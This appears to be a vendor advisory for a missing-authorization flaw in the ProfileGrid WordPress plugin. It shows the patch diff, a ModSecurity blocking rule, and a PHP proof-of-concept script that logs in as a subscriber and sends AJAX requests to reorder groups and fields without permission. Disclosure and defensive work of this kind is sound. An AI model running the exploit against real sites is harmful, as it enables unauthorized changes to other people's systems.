+			$last_change_ts = ! empty( $last_row->action_date ) ? (int) strtotime( $last_row->action_date ) : 0;
+		}
+		$data_count = count( $requests );
+		if ( $last_ajax_call > 0 && $last_change_ts <= $last_ajax_call ) {
+			$data_count = 0;
 		}
-
+		echo wp_kses_post(
+			wp_json_encode(
+				array(
+					'data_from_file' => (string) $data_count,
+					'timestamp'      => $last_change_ts,
+				)
+			)
+		);
 		die;
 	}

@@ -3213,7 +3275,7 @@
 		$pmrequests      = new PM_request();
 		$postid          = filter_input( INPUT_POST, 'post_id' );
 		$type            = filter_input( INPUT_POST, 'type' );
-		$content         = filter_input( INPUT_POST, 'pm_author_message' );
+		$content         = filter_input( INPUT_POST, 'pm_author_message', FILTER_UNSAFE_RAW );
 		$current_user    = wp_get_current_user();
 		$sid             = $current_user->ID;
 		$retrieved_nonce = filter_input( INPUT_POST, '_wpnonce' );
@@ -3289,8 +3351,23 @@
 		$pmrequest       = new PM_request();
 		$pm_emails       = new PM_Emails();
 		$dbhandler       = new PM_DBhandler();
-		$gid             = filter_input( INPUT_POST, 'gid' );
+		$gid             = isset( $_POST['gid'] ) && is_scalar( $_POST['gid'] ) ? trim( (string) wp_unslash( $_POST['gid'] ) ) : '';
 		$emails          = $post['pm_email_address'];
+		$current_user_id = get_current_user_id();
+		$basic_functions = new Profile_Magic_Basic_Functions( $this->profile_magic, $this->version );
+
+		if ( '' === $gid || ! ctype_digit( $gid ) ) {
+			wp_die( __( 'Unauthorized', 'profilegrid-user-profiles-groups-and-communities' ), '', array( 'response' => 403 ) );
+		}
+
+		$is_group_leader = $pmrequest->pg_check_in_single_group_is_user_group_leader( $current_user_id, $gid );
+		$is_group_manager = $basic_functions->pm_user_is_group_manager( $current_user_id, $gid );
+		if ( ! current_user_can( 'manage_options' ) && ! is_super_admin( $current_user_id ) && ! $is_group_manager && ! $is_group_leader ) {
+			wp_die( __( 'Unauthorized', 'profilegrid-user-profiles-groups-and-communities' ), '', array( 'response' => 403 ) );
+		}
+
+		$group_type    = $pmrequest->profile_magic_get_group_type( $gid );
+		$is_paid_group = (float) $pmrequest->profile_magic_check_paid_group( $gid ) > 0;

 		$message      = '';
 		$has_success  = false;
@@ -3314,9 +3391,9 @@

 				if ( ! in_array( $gid, $gid_array ) ) {
                                     $send_invitation = $dbhandler->get_global_option_value('pm_allow_registered_users_to_accept_invitation', '0');
-                                        if($send_invitation==0)
+                                        if($send_invitation==0 && 'open' === $group_type && ! $is_paid_group)
                                         {
-                                            $pmrequest->profile_magic_join_group_fun( $user_id, $gid, 'open' );
+                                            $pmrequest->profile_magic_join_group_fun( $user_id, $gid, $group_type );
                                             $message .= '<div class="pg-invited-user-result pg-group-user-info-box pg-invitation-failed pm-pad10 pm-bg pm-dbfl">
                                                 <div class="pm-difl pg-invited-user">' . get_avatar( $email, 26, '', false, array( 'force_display' => true ) ) . '</div>
                                                 <div class="pm-difl pg-invited-user-info">
@@ -4751,8 +4828,11 @@
 		$object['seding_text']        = esc_html__( 'Sending', 'profilegrid-user-profiles-groups-and-communities' );
 		$object['remove_msg']         = esc_html__( 'This message has been deleted.', 'profilegrid-user-profiles-groups-and-communities' );
                 $object['nonce']            = wp_create_nonce( 'ajax-nonce' );
+		$object['rest_notification_url'] = esc_url_raw( rest_url( 'profilegrid/v1/messenger/notification' ) );
+		$object['rest_nonce']           = wp_create_nonce( 'wp_rest' );
 		wp_localize_script( 'pg-messaging', 'pg_msg_object', $object );
-		$rid          = filter_input( INPUT_GET, 'rid' );
+		$rid          = absint( filter_input( INPUT_GET, 'rid', FILTER_VALIDATE_INT ) );
+		$rid_from_url = $rid;
 		$current_user = wp_get_current_user();
 		$profilechat  = new ProfileMagic_Chat();
 		$pmrequests   = new PM_request();
@@ -4762,7 +4842,7 @@
 			?>
 		<div id="pg-messages" class="pm-dbfl pg-profile-tab-content pg-message-tab">
 			<?php
-			if ( ! isset( $rid ) ) {
+			if ( ! $rid ) {
 				$threads = $pmrequests->pm_get_user_all_threads( $uid, 1, 1 );
 				if ( ! empty( $threads ) ) {
 					if ( $uid == $threads[0]->r_id ) {
@@ -4781,6 +4861,9 @@
 			if ( $tid == false ) {
 				$tid = 0;
 			}
+			if ( $rid_from_url > 0 && $tid > 0 ) {
+				$pmrequests->update_message_status_to_read( $tid );
+			}

 			$profilechat->pg_show_message_tab_html( $uid, $rid, $tid );
 			?>
@@ -6476,6 +6559,12 @@
 			$show_toast  = ( $unread > 0 && ( $latest_ts === 0 || $dismissed < $latest_ts ) );

 			$message_url = $pmrequests->pm_get_user_profile_url( $current_uid );
+			$latest_rid  = isset( $summary['latest_rid'] ) ? (int) $summary['latest_rid'] : 0;
+			$latest_tid  = isset( $summary['latest_tid'] ) ? (int) $summary['latest_tid'] : 0;
+			$base_url    = $message_url;
+			if ( $message_url && $latest_rid > 0 ) {
+				$message_url = add_query_arg( 'rid', $latest_rid, $message_url );
+			}
 			$message_url = $message_url ? $message_url . '#pg-messages' : '';

 			if ( $message_url === '' ) {
@@ -6483,169 +6572,11 @@
 			}

 			?>
-			<style id="pg-unread-toast-style">
-				#pg-unread-toast {
-					position: fixed;
-					right: 20px;
-					bottom: 20px;
-					z-index: 99999;
-					max-width: 320px;
-					background: #1f2937;
-					color: #fff;
-					border-radius: 6px;
-					box-shadow: 0 8px 24px rgba(0,0,0,0.18);
-					padding: 12px 14px;
-					display: none;
-					align-items: center;
-					gap: 10px;
-				}
-				#pg-unread-toast.pg-unread-toast--show {
-					display: flex;
-				}
-				.pg-unread-toast__text {
-					flex: 1 1 auto;
-					font-size: 14px;
-					line-height: 1.4;
-					margin: 0;
-				}
-				.pg-unread-toast__action {
-					background: #0d9488;
-					color: #fff;
-					border: none;
-					border-radius: 4px;
-					padding: 6px 10px;
-					cursor: pointer;
-					font-size: 13px;
-				}
-				.pg-unread-toast__action:hover {
-					background: #0f766e;
-				}
-				.pg-unread-toast__close {
-					background: transparent;
-					color: #fff;
-					border: none;
-					font-size: 16px;
-					line-height: 1;
-					padding: 2px 6px;
-					cursor: pointer;
-				}
-				@media (max-width: 480px) {
-					#pg-unread-toast {
-						right: 12px;
-						bottom: 12px;
-						max-width: calc(100% - 24px);
-					}
-				}
-			</style>
-			<div id="pg-unread-toast" class="pg-unread-toast" data-target="<?php echo esc_url( $message_url ); ?>" data-count="<?php echo esc_attr( $unread ); ?>" data-latest="<?php echo esc_attr( $latest_ts ); ?>" data-dismissed="<?php echo esc_attr( $dismissed ); ?>" data-show="<?php echo esc_attr( $show_toast ? 1 : 0 ); ?>">
+			<div id="pg-unread-toast" class="pg-unread-toast" data-target="<?php echo esc_url( $message_url ); ?>" data-base-target="<?php echo esc_url( $base_url ); ?>" data-count="<?php echo esc_attr( $unread ); ?>" data-latest="<?php echo esc_attr( $latest_ts ); ?>" data-latest-rid="<?php echo esc_attr( $latest_rid ); ?>" data-latest-tid="<?php echo esc_attr( $latest_tid ); ?>" data-dismissed="<?php echo esc_attr( $dismissed ); ?>" data-show="<?php echo esc_attr( $show_toast ? 1 : 0 ); ?>" data-single-label="<?php echo esc_attr__( 'You have 1 unread message', 'profilegrid-user-profiles-groups-and-communities' ); ?>" data-multi-label="<?php echo esc_attr__( 'You have {{count}} unread messages', 'profilegrid-user-profiles-groups-and-communities' ); ?>">
 				<span class="pg-unread-toast__text"></span>
 				<button type="button" class="pg-unread-toast__action"><?php esc_html_e( 'Open', 'profilegrid-user-profiles-groups-and-communities' ); ?></button>
 				<button type="button" class="pg-unread-toast__close" aria-label="<?php esc_attr_e( 'Dismiss', 'profilegrid-user-profiles-groups-and-communities' ); ?>">×</button>
 			</div>
-			<script>
-				(function () {
-					var toast = document.getElementById('pg-unread-toast');
-					if (!toast) {
-						return;
-					}
-					var target = toast.getAttribute('data-target');
-					var latest = parseInt(toast.getAttribute('data-latest'), 10) || 0;
-					var dismissed = parseInt(toast.getAttribute('data-dismissed'), 10) || 0;
-					var count = parseInt(toast.getAttribute('data-count'), 10) || 0;
-					var show = parseInt(toast.getAttribute('data-show'), 10) || 0;
-					var text = toast.querySelector('.pg-unread-toast__text');
-					var openBtn = toast.querySelector('.pg-unread-toast__action');
-					var closeBtn = toast.querySelector('.pg-unread-toast__close');
-					var hideToast = function () {
-						toast.classList.remove('pg-unread-toast--show');
-					};
-					var singleLabel = "<?php echo esc_js( __( 'You have 1 unread message', 'profilegrid-user-profiles-groups-and-communities' ) ); ?>";
-					var multiLabel = "<?php echo esc_js( __( 'You have {{count}} unread messages', 'profilegrid-user-profiles-groups-and-communities' ) ); ?>";
-					var buildLabel = function (countValue) {
-						if (countValue === 1) {
-							return singleLabel;
-						}
-						return multiLabel.replace('{{count}}', countValue);
-					};
-					var renderToast = function (countValue, latestValue, dismissedValue) {
-						if (!countValue || (latestValue > 0 && dismissedValue >= latestValue)) {
-							hideToast();
-							return;
-						}
-						if (text) {
-							text.textContent = buildLabel(countValue);
-						}
-						toast.classList.add('pg-unread-toast--show');
-					};
-
-					if (show) {
-						renderToast(count, latest, dismissed);
-					}
-
-					if (openBtn && target) {
-						openBtn.addEventListener('click', function (e) {
-							e.preventDefault();
-							window.location.href = target;
-						});
-					}
-
-					if (closeBtn) {
-						closeBtn.addEventListener('click', function (e) {
-							e.preventDefault();
-							hideToast();
-							dismissed = latest;
-
-							if (!window.pm_ajax_object || !pm_ajax_object.ajax_url || !pm_ajax_object.nonce) {
-								return;
-							}
-
-							var formData = new FormData();
-							formData.append('action', 'pm_dismiss_unread_message_toast');
-							formData.append('nonce', pm_ajax_object.nonce);
-							formData.append('latest_ts', latest);
-
-							fetch(pm_ajax_object.ajax_url, {
-								method: 'POST',
-								credentials: 'same-origin',
-								body: formData
-							});
-						});
-					}
-
-					var fetchSummary = function () {
-						if (!window.pm_ajax_object || !pm_ajax_object.ajax_url || !pm_ajax_object.nonce) {
-							return;
-						}
-
-						var data = new FormData();
-						data.append('action', 'pm_unread_message_summary');
-						data.append('nonce', pm_ajax_object.nonce);
-
-						fetch(pm_ajax_object.ajax_url, {
-							method: 'POST',
-							credentials: 'same-origin',
-							body: data
-						})
-						.then(function (response) { return response.json(); })
-						.then(function (response) {
-							if (!response || !response.success || !response.data) {
-								return;
-							}
-							var latestValue = parseInt(response.data.latest_ts, 10) || 0;
-							var dismissedValue = parseInt(response.data.dismissed, 10) || 0;
-							var countValue = parseInt(response.data.count, 10) || 0;
-							latest = latestValue;
-							dismissed = dismissedValue;
-							renderToast(countValue, latestValue, dismissedValue);
-						})
-						.catch(function () {
-							return;
-						});
-					};
-
-					setInterval(fetchSummary, 8000);
-				})();
-			</script>
 			<?php
 		}

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:20264607,phase:2,deny,status:403,chain,msg:'CVE-2026-4607 ProfileGrid AJAX group settings modification by unauthorized user',severity:'CRITICAL',tag:'CVE-2026-4607'"
  SecRule ARGS_POST:action "@rx ^pm_set_(group_order|group_items|field_order)$" "chain"
    SecRule REQUEST_METHOD "@streq POST" "t:none"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-4607 - ProfileGrid <= 5.9.8.4 - Missing Authorization to Authenticated (Subscriber+) Group Settings Modification

$target_url = 'http://example.com';  // CHANGE THIS to the target WordPress site
$username = 'subscriber_user';        // CHANGE THIS to a subscriber username
$password = 'subscriber_pass';        // CHANGE THIS to the subscriber password

// Step 1: Login to WordPress
$login_url = $target_url . '/wp-login.php';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array(
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => 1
)));
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_exec($ch);
curl_close($ch);

// Step 2: Exploit the vulnerability - modify group order via AJAX
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array(
    'action' => 'pm_set_group_order',
    // The plugin expects specific parameters, but the vulnerability is the missing auth check
    // We can send arbitrary data; here we demonstrate with a simple payload
    'group_order' => '3,1,2'  // Example: reorder groups
)));
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

echo "HTTP Status: " . $http_code . "n";
echo "Response: " . $response . "n";

// Step 3: Try another vulnerable action - modify field order
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array(
    'action' => 'pm_set_field_order',
    'field_order' => '5,2,1,3,4'  // Example: reorder fields
)));
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
$response2 = curl_exec($ch);
$http_code2 = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

echo "n--- Second Request ---n";
echo "HTTP Status: " . $http_code2 . "n";
echo "Response: " . $response2 . "n";

// Clean up
unlink('/tmp/cookies.txt');
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School